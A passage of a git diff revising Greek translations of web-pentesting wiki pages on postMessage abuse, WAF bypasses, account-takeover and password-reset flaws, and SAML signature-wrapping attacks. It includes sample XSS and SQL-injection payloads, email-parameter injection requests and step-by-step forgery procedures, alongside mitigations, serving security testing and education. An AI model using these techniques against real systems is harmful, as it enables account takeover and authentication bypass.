αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν: {{#ref}} blocking-main-page-to-steal-postmessage.md @@ -181,7 +183,7 @@ steal-postmessage-modifying-iframe-location.md ### postMessage σε Prototype Pollution και/ή XSS -Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** τη **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`. +Σε σενάρια όπου τα δεδομένα που αποστέλλονται μέσω του `postMessage` εκτελούνται από JS, μπορείτε να **iframe** την **σελίδα** και να **εκμεταλλευτείτε** την **προτοτυπική ρύπανση/XSS** στέλνοντας την εκμετάλλευση μέσω του `postMessage`. Μερικά **πολύ καλά εξηγημένα XSS μέσω `postMessage`** μπορούν να βρεθούν στο [https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html](https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html) diff --git a/src/pentesting-web/proxy-waf-protections-bypass.md b/src/pentesting-web/proxy-waf-protections-bypass.md index 07a6fc669..8964c262f 100644 --- a/src/pentesting-web/proxy-waf-protections-bypass.md +++ b/src/pentesting-web/proxy-waf-protections-bypass.md @@ -70,24 +70,24 @@ location ~* ^/admin { deny all; } ``` -## Παράκαμψη Κανόνων Mod Security +## Bypass Mod Security Rules -### Σύγχυση Διαδρομής +### Path Confusion -[**Σε αυτή την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), **υλοποιούσε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία προοριζόταν να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.\ -Ως εκ τούτου, ένα αίτημα όπως `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`. +[**Σε αυτή την ανάρτηση**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) εξηγείται ότι το ModSecurity v3 (μέχρι 3.0.12), **υλοποιούσε εσφαλμένα τη μεταβλητή `REQUEST_FILENAME`** η οποία έπρεπε να περιέχει τη διαδρομή που προσπελάστηκε (μέχρι την αρχή των παραμέτρων). Αυτό συμβαίνει επειδή εκτελούσε μια αποκωδικοποίηση URL για να αποκτήσει τη διαδρομή.\ +Ως εκ τούτου, ένα αίτημα όπως το `http://example.com/foo%3f';alert(1);foo=` στο mod security θα υποθέσει ότι η διαδρομή είναι απλώς `/foo` επειδή το `%3f` μετατρέπεται σε `?` που τερματίζει τη διαδρομή URL, αλλά στην πραγματικότητα η διαδρομή που θα λάβει ο διακομιστής θα είναι `/foo%3f';alert(1);foo=`. Οι μεταβλητές `REQUEST_BASENAME` και `PATH_INFO` επηρεάστηκαν επίσης από αυτό το σφάλμα. -Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλά στέλνοντας την τελεία URL κωδικοποιημένη σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`. +Κάτι παρόμοιο συνέβη στην έκδοση 2 του Mod Security που επέτρεπε την παράκαμψη μιας προστασίας που εμπόδιζε τους χρήστες να προσπελάσουν αρχεία με συγκεκριμένες επεκτάσεις σχετικές με αρχεία αντιγράφων ασφαλείας (όπως `.bak`) απλά στέλνοντας την τελεία κωδικοποιημένη σε `%2e`, για παράδειγμα: `https://example.com/backup%2ebak`. -## Παράκαμψη AWS WAF ACL +## Bypass AWS WAF ACL -### Κακώς Διαμορφωμένος Κεφαλίδας +### Malformed Header -[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP κεφαλίδες στέλνοντας μια "κακώς διαμορφωμένη" κεφαλίδα που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον διακομιστή backend. +[Αυτή η έρευνα](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) αναφέρει ότι ήταν δυνατό να παρακαμφθούν οι κανόνες AWS WAF που εφαρμόζονταν σε HTTP headers στέλνοντας έναν "κακώς σχηματισμένο" header που δεν αναλύθηκε σωστά από την AWS αλλά αναλύθηκε από τον διακομιστή backend. -Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στην κεφαλίδα X-Query: +Για παράδειγμα, στέλνοντας το ακόλουθο αίτημα με μια SQL injection στον header X-Query: ```http GET / HTTP/1.1\r\n Host: target.com\r\n @@ -96,7 +96,7 @@ X-Query: Value\r\n Connection: close\r\n \r\n ``` -Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας, ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε). +Ήταν δυνατόν να παρακαμφθεί το AWS WAF επειδή δεν καταλάβαινε ότι η επόμενη γραμμή είναι μέρος της τιμής της κεφαλίδας ενώ ο διακομιστής NODEJS το καταλάβαινε (αυτό διορθώθηκε). ## Γενικές παρακάμψεις WAF @@ -140,7 +140,7 @@ cache-deception/README.md {{#endref}} - [Πώς βρήκα μια 0-Click Account takeover σε μια δημόσια BBP και το εκμεταλλεύτηκα για να αποκτήσω πρόσβαση σε λειτουργίες επιπέδου Admin](https://hesar101.github.io/posts/How-I-found-a-0-Click-Account-takeover-in-a-public-BBP-and-leveraged-It-to-access-Admin-Level-functionalities/) -### Απόκρυψη +### Obfuscation ```bash # IIS, ASP Clasic <%s%cr%u0131pt> == #changing the case of the tag < #prepending an additional "<" diff --git a/src/pentesting-web/registration-vulnerabilities.md b/src/pentesting-web/registration-vulnerabilities.md index 0a27997ff..8200e4f8d 100644 --- a/src/pentesting-web/registration-vulnerabilities.md +++ b/src/pentesting-web/registration-vulnerabilities.md @@ -1,4 +1,4 @@ -# Εγγραφές & Ευπάθειες Κατάληψης +# Ευπάθειες Εγγραφής & Κατάληψης {{#include ../banners/hacktricks-training.md}} @@ -124,14 +124,14 @@ email=victim@mail.com|hacker@mail.com 3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό του θύματος. 4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό. -Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτή την επίθεση.\ +Η πλατφόρμα CTFd ήταν ευάλωτη σε αυτήν την επίθεση.\ Δείτε: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) ### Account Takeover Via Cross Site Scripting 1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε ένα υποτομέα αν τα cookies είναι περιορισμένα στον γονικό τομέα: `*.domain.com` 2. Διαρρεύστε το τρέχον **cookie συνεδρίας** -3. Αυθεντικοποιηθείτε ως χρήστης χρησιμοποιώντας το cookie +3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie ### Account Takeover Via HTTP Request Smuggling @@ -155,18 +155,19 @@ Hackerone αναφέρει την εκμετάλλευση αυτού του σ \* [https://hackerone.com/reports/737140](https://hackerone.com/reports/737140)\ \* [https://hackerone.com/reports/771666](https://hackerone.com/reports/771666) -### Υποκατάσταση Λογαριασμού μέσω CSRF +### Υποκατάληψη Λογαριασμού μέσω CSRF 1. Δημιουργήστε ένα payload για το CSRF, π.χ: “HTML φόρμα με αυτόματη υποβολή για αλλαγή κωδικού” 2. Στείλτε το payload -### Υποκατάσταση Λογαριασμού μέσω JWT +### Υποκατάληψη Λογαριασμού μέσω JWT Το JSON Web Token μπορεί να χρησιμοποιηθεί για την αυθεντικοποίηση ενός χρήστη. - Επεξεργαστείτε το JWT με άλλο User ID / Email - Ελέγξτε για αδύναμη υπογραφή JWT + {{#ref}} hacking-jwt-json-web-tokens.md {{#endref}} diff --git a/src/pentesting-web/reset-password.md b/src/pentesting-web/reset-password.md index 49f02358f..02f250219 100644 --- a/src/pentesting-web/reset-password.md +++ b/src/pentesting-web/reset-password.md @@ -17,15 +17,15 @@ - Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο. - **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα tokens επαναφοράς στους επιτιθέμενους. - **Βήματα Μείωσης**: -- Επικυρώστε τον Host header έναντι μιας λίστας επιτρεπόμενων τομέων. +- Επικυρώστε τον Host header έναντι μιας λευκής λίστας επιτρεπόμενων τομέων. - Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργήσετε απόλυτες διευθύνσεις URL. - **Διόρθωση**: Χρησιμοποιήστε `$_SERVER['SERVER_NAME']` για να κατασκευάσετε διευθύνσεις URL επαναφοράς κωδικού αντί για `$_SERVER['HTTP_HOST']`. - **Αναφορές**: -- [Άρθρο Acunetix για Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/) +- [Άρθρο Acunetix για τη Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/) ## **Επαναφορά Κωδικού με Χειρισμό Παραμέτρου Email** -Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να εκτρέψουν τον σύνδεσμο επαναφοράς. +Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να αποσπάσουν τον σύνδεσμο επαναφοράς. - Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας & ```php @@ -69,8 +69,8 @@ POST /resetPassword [...] {"email":["victim@mail.tld","atracker@mail.tld"]} ``` -- **Βήματα Ελάφρυνσης**: -- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από την πλευρά του διακομιστή. +- **Βήματα Μείωσης**: +- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από τον server. - Χρήση προετοιμασμένων δηλώσεων ή παραμετροποιημένων ερωτημάτων για την αποφυγή επιθέσεων injection. - **Αναφορές**: - [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be) @@ -85,7 +85,7 @@ POST /api/changepass [...] ("form": {"email":"victim@email.tld","password":"12345678"}) ``` -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Διασφαλίστε αυστηρή επικύρωση παραμέτρων και ελέγχους ταυτοποίησης. - Εφαρμόστε ισχυρή καταγραφή και παρακολούθηση για να ανιχνεύσετε και να αντιδράσετε σε ύποπτες δραστηριότητες. - **Αναφορά**: @@ -93,8 +93,8 @@ POST /api/changepass ## **Χωρίς Περιορισμό Ρυθμού: Email Bombing** -- Η έλλειψη περιορισμού ρυθμού σε αιτήματα επαναφοράς κωδικού πρόσβασης μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με email επαναφοράς. -- **Βήματα Μείωσης**: +- Η έλλειψη περιορισμού ρυθμού στις αιτήσεις επαναφοράς κωδικού πρόσβασης μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με email επαναφοράς. +- **Βήματα Ελάφρυνσης**: - Εφαρμόστε περιορισμό ρυθμού με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη. - Χρησιμοποιήστε προκλήσεις CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κακοποίηση. - **Αναφορές**: @@ -109,7 +109,7 @@ POST /api/changepass - Βασισμένο στο Όνομα και Επώνυμο - Βασισμένο στην Ημερομηνία Γέννησης - Βασισμένο στην Κρυπτογραφία -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για τη δημιουργία token. - Διασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα. - **Εργαλεία**: Χρησιμοποιήστε το Burp Sequencer για να αναλύσετε την τυχαιότητα των tokens. @@ -122,14 +122,14 @@ POST /api/changepass uuid-insecurities.md {{#endref}} -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Χρησιμοποιήστε GUID έκδοσης 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις. - **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs. ## **Manipulation Response: Αντικατάσταση Κακής Απόκρισης με Καλή** - Χειραγώγηση των HTTP απαντήσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί. -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Εφαρμόστε ελέγχους από την πλευρά του διακομιστή για να διασφαλίσετε την ακεραιότητα της απόκρισης. - Χρησιμοποιήστε ασφαλείς επικοινωνιακούς διαύλους όπως το HTTPS για να αποτρέψετε επιθέσεις man-in-the-middle. - **Αναφορά**: @@ -137,33 +137,33 @@ uuid-insecurities.md ## **Χρήση Εξαφανισμένου Token** -- Δοκιμή αν τα ληγμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού. -- **Βήματα Μείωσης**: +- Δοκιμή αν τα εξαφανισμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού. +- **Βήματα Ελάφρυνσης**: - Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token από την πλευρά του διακομιστή. ## **Brute Force Token Επαναφοράς Κωδικού** - Προσπάθεια βίαιης δοκιμής του token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακαμφθούν οι περιορισμοί ρυθμού με βάση την IP. -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Εφαρμόστε ισχυρούς μηχανισμούς περιορισμού ρυθμού και κλειδώματος λογαριασμού. - Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις βίαιης δοκιμής. ## **Δοκιμάστε να Χρησιμοποιήσετε το Token σας** - Δοκιμή αν το token επαναφοράς του επιτιθέμενου μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος. -- **Βήματα Μείωσης**: -- Διασφαλίστε ότι τα tokens είναι δεσμευμένα στη συνεδρία χρήστη ή σε άλλες συγκεκριμένες ιδιότητες χρήστη. +- **Βήματα Ελάφρυνσης**: +- Διασφαλίστε ότι τα tokens είναι δεσμευμένα στη συνεδρία χρήστη ή σε άλλα χαρακτηριστικά που σχετίζονται με τον χρήστη. ## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού** - Διασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ο χρήστης αποσυνδέεται ή επαναφέρει τον κωδικό του. -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Εφαρμόστε σωστή διαχείριση συνεδρίας, διασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά την αποσύνδεση ή την επαναφορά κωδικού. ## **Ακύρωση Συνεδρίας κατά την Αποσύνδεση/Επαναφορά Κωδικού** - Τα tokens επαναφοράς θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα. -- **Βήματα Μείωσης**: +- **Βήματα Ελάφρυνσης**: - Ορίστε έναν λογικό χρόνο λήξης για τα tokens επαναφοράς και επιβάλετέ τον αυστηρά από την πλευρά του διακομιστή. ## **Παράκαμψη περιορισμού ρυθμού OTP αλλάζοντας τη συνεδρία σας** diff --git a/src/pentesting-web/saml-attacks/README.md b/src/pentesting-web/saml-attacks/README.md index 44ff12b0d..5e27731dc 100644 --- a/src/pentesting-web/saml-attacks/README.md +++ b/src/pentesting-web/saml-attacks/README.md @@ -4,13 +4,14 @@ ## Basic Information + {{#ref}} saml-basics.md {{#endref}} ## Tool -[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή μια λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML. +[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Ένα εργαλείο που μπορεί να πάρει μια διεύθυνση URL ή λίστα διευθύνσεων URL και να εκτυπώσει πίσω τη διεύθυνση URL κατανάλωσης SAML. ## XML round-trip @@ -51,9 +52,9 @@ First child after round-trip: Z ## Επιθέσεις XML Signature Wrapping -Στις **επιθέσεις XML Signature Wrapping (XSW)**, οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: **επικύρωση υπογραφής** και **κλήση λειτουργίας**. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος **εισάγει πλαστά στοιχεία** που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη **λογική εφαρμογής** και εκείνων που ελέγχονται από το **module επαλήθευσης υπογραφής**. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα **πλαστά στοιχεία**. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την **προστασία ακεραιότητας** και την **αυθεντικότητα προέλευσης** της XML υπογραφής, επιτρέποντας την **εισαγωγή αυθαίρετου περιεχομένου** χωρίς ανίχνευση. +Στις **επιθέσεις XML Signature Wrapping (XSW)**, οι αντίπαλοι εκμεταλλεύονται μια ευπάθεια που προκύπτει όταν τα XML έγγραφα επεξεργάζονται μέσω δύο διακριτών φάσεων: **επικύρωση υπογραφής** και **κλήση λειτουργίας**. Αυτές οι επιθέσεις περιλαμβάνουν την τροποποίηση της δομής του XML εγγράφου. Συγκεκριμένα, ο επιτιθέμενος **εισάγει πλαστά στοιχεία** που δεν θέτουν σε κίνδυνο την εγκυρότητα της XML υπογραφής. Αυτή η χειραγώγηση στοχεύει στη δημιουργία μιας διαφοράς μεταξύ των στοιχείων που αναλύονται από τη **λογική εφαρμογής** και εκείνων που ελέγχονται από το **module επαλήθευσης υπογραφής**. Ως αποτέλεσμα, ενώ η XML υπογραφή παραμένει τεχνικά έγκυρη και περνά την επαλήθευση, η λογική εφαρμογής επεξεργάζεται τα **παράνομα στοιχεία**. Κατά συνέπεια, ο επιτιθέμενος παρακάμπτει αποτελεσματικά την **προστασία ακεραιότητας** και την **αυθεντικότητα προέλευσης** της XML υπογραφής, επιτρέποντας την **εισαγωγή αυθαίρετου περιεχομένου** χωρίς ανίχνευση. -Οι παρακάτω επιθέσεις βασίζονται σε [**αυτήν την ανάρτηση στο blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **και** [**αυτήν την εργασία**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Έτσι, ελέγξτε αυτές για περισσότερες λεπτομέρειες. +Οι παρακάτω επιθέσεις βασίζονται σε [**αυτήν την ανάρτηση στο blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **και** [**αυτό το έγγραφο**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Ελέγξτε τα για περισσότερες λεπτομέρειες. ### XSW #1 @@ -65,7 +66,7 @@ First child after round-trip: Z ### XSW #2 - **Διαφορά από το XSW #1**: Χρησιμοποιεί μια αποσπασμένη υπογραφή αντί για μια περιβάλλουσα υπογραφή. -- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά την επαλήθευση ακεραιότητας. +- **Σημασία**: Η "κακή" δομή, παρόμοια με το XSW #1, στοχεύει να παραπλανήσει τη λογική επιχείρησης μετά τον έλεγχο ακεραιότητας. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>) @@ -85,7 +86,7 @@ First child after round-trip: Z ### XSW #5 -- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion τηρούν τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη). +- **Μοναδικό Σημείο**: Ούτε η Υπογραφή ούτε η αρχική Assertion συμμορφώνονται με τις τυπικές ρυθμίσεις (περιβαλλόμενη/περιβάλλουσα/αποσπασμένη). - **Σημασία**: Η αντιγραμμένη Assertion περιβάλλει την Υπογραφή, τροποποιώντας τη δομή του αναμενόμενου εγγράφου. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>) @@ -100,7 +101,7 @@ First child after round-trip: Z ### XSW #7 - **Στρατηγική**: Ένα στοιχείο Extensions εισάγεται με την αντιγραμμένη Assertion ως παιδί. -- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα επικύρωσης σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML. +- **Σημασία**: Αυτό εκμεταλλεύεται το λιγότερο περιοριστικό σχήμα του στοιχείου Extensions για να παρακάμψει τα μέτρα ελέγχου σχήματος, ειδικά σε βιβλιοθήκες όπως το OpenSAML. ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](<../../images/image (971).png>) @@ -117,7 +118,7 @@ First child after round-trip: Z ## XXE -Αν δεν ξέρετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα: +Αν δεν γνωρίζετε ποιοι τύποι επιθέσεων είναι XXE, παρακαλώ διαβάστε την παρακάτω σελίδα: {{#ref}} ../xxe-xee-xml-external-entity.md @@ -149,7 +150,7 @@ First child after round-trip: Z ## XSLT μέσω SAML -Για περισσότερες πληροφορίες σχετικά με το XSLT, πηγαίνετε στο: +Για περισσότερες πληροφορίες σχετικά με το XSLT, μεταβείτε στο: {{#ref}} ../xslt-server-side-injection-extensible-stylesheet-language-transformations.md @@ -157,7 +158,7 @@ First child after round-trip: Z Οι Επεξεργασίες Γλώσσας Στυλ Επεκτάσιμες (XSLT) μπορούν να χρησιμοποιηθούν για τη μετατροπή εγγράφων XML σε διάφορες μορφές όπως HTML, JSON ή PDF. Είναι κρίσιμο να σημειωθεί ότι **οι μετατροπές XSLT εκτελούνται πριν από την επαλήθευση της ψηφιακής υπογραφής**. Αυτό σημαίνει ότι μια επίθεση μπορεί να είναι επιτυχής ακόμη και χωρίς έγκυρη υπογραφή. Μια αυτο-υπογεγραμμένη ή μη έγκυρη υπογραφή είναι αρκετή για να προχωρήσετε. -Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτόν τον τύπο ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads. +Εδώ μπορείτε να βρείτε ένα **POC** για να ελέγξετε για αυτό το είδος ευπαθειών, στη σελίδα hacktricks που αναφέρθηκε στην αρχή αυτής της ενότητας μπορείτε να βρείτε payloads. ```xml ... @@ -185,13 +186,13 @@ First child after round-trip: Z ## XML Signature Exclusion -Η **XML Signature Exclusion** παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, **η επικύρωση υπογραφής μπορεί να μην συμβαίνει**, καθιστώντας το ευάλωτο. Είναι δυνατόν να δοκιμαστεί αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή. +Η **XML Signature Exclusion** παρατηρεί τη συμπεριφορά των υλοποιήσεων SAML όταν το στοιχείο Signature δεν είναι παρόν. Εάν αυτό το στοιχείο λείπει, **η επικύρωση υπογραφής μπορεί να μην συμβαίνει**, καθιστώντας το ευάλωτο. Είναι δυνατόν να δοκιμάσετε αυτό αλλάζοντας τα περιεχόμενα που συνήθως επαληθεύονται από την υπογραφή. ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](<../../images/image (457).png>) ### Tool -Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Παρέμβαση στην SAML Response και κάντε κλικ στο `Remove Signatures`. Με αυτόν τον τρόπο **όλα** τα στοιχεία Signature αφαιρούνται. +Μπορείτε επίσης να χρησιμοποιήσετε την επέκταση Burp [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Παρεμβάλετε την SAML Response και κάντε κλικ στο `Remove Signatures`. Με αυτόν τον τρόπο **όλα** τα στοιχεία Signature αφαιρούνται. Με τις υπογραφές αφαιρεμένες, επιτρέψτε στο αίτημα να προχωρήσει στον στόχο. Εάν η υπογραφή δεν απαιτείται από την Υπηρεσία @@ -205,17 +206,17 @@ First child after round-trip: Z Τα παρακάτω βήματα περιγράφουν τη διαδικασία χρησιμοποιώντας την επέκταση Burp [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e): -1. Παρέμβαση στην SAML Response. +1. Παρεμβάλετε την SAML Response. 2. Εάν η απάντηση περιέχει μια υπογραφή, στείλτε το πιστοποιητικό στο SAML Raider Certs χρησιμοποιώντας το κουμπί `Send Certificate to SAML Raider Certs`. 3. Στην καρτέλα Certificates του SAML Raider, επιλέξτε το εισαγόμενο πιστοποιητικό και κάντε κλικ στο `Save and Self-Sign` για να δημιουργήσετε ένα αυτο-υπογεγραμμένο κλώνο του αρχικού πιστοποιητικού. 4. Επιστρέψτε στο παρεμβαλλόμενο αίτημα στην Proxy του Burp. Επιλέξτε το νέο αυτο-υπογεγραμμένο πιστοποιητικό από το αναπτυσσόμενο μενού XML Signature. 5. Αφαιρέστε οποιεσδήποτε υπάρχουσες υπογραφές με το κουμπί `Remove Signatures`. -6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`** κουμπί, όπως απαιτείται. +6. Υπογράψτε το μήνυμα ή την δήλωση με το νέο πιστοποιητικό χρησιμοποιώντας το κουμπί **`(Re-)Sign Message`** ή **`(Re-)Sign Assertion`**, ανάλογα με την περίπτωση. 7. Προωθήστε το υπογεγραμμένο μήνυμα. Η επιτυχής αυθεντικοποίηση υποδηλώνει ότι ο SP αποδέχεται μηνύματα υπογεγραμμένα από το αυτο-υπογεγραμμένο πιστοποιητικό σας, αποκαλύπτοντας πιθανές ευπάθειες στη διαδικασία επικύρωσης των SAML μηνυμάτων. ## Token Recipient Confusion / Service Provider Target Confusion -Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επικυρώνει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη. +Η Token Recipient Confusion και η Service Provider Target Confusion περιλαμβάνουν τον έλεγχο εάν ο **Service Provider επαληθεύει σωστά τον προοριζόμενο παραλήπτη μιας απάντησης**. Στην ουσία, ένας Service Provider θα πρέπει να απορρίπτει μια απάντηση αυθεντικοποίησης εάν προοριζόταν για διαφορετικό πάροχο. Το κρίσιμο στοιχείο εδώ είναι το πεδίο **Recipient**, που βρίσκεται μέσα στο στοιχείο **SubjectConfirmationData** μιας SAML Response. Αυτό το πεδίο καθορίζει μια διεύθυνση URL που υποδεικνύει πού πρέπει να σταλεί η Assertion. Εάν ο πραγματικός παραλήπτης δεν ταιριάζει με τον προοριζόμενο Service Provider, η Assertion θα πρέπει να θεωρείται άκυρη. #### **How It Works** @@ -250,7 +251,7 @@ return f"Failed to redirect SAML Response: {e}" ``` https://carbon-prototype.uberinternal.com:443/oidauth/logout ``` -Αφού αποκτήθηκε πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς: +Κατά την πρόσβαση σε αυτόν τον σύνδεσμο, συνέβη ανακατεύθυνση προς: ``` 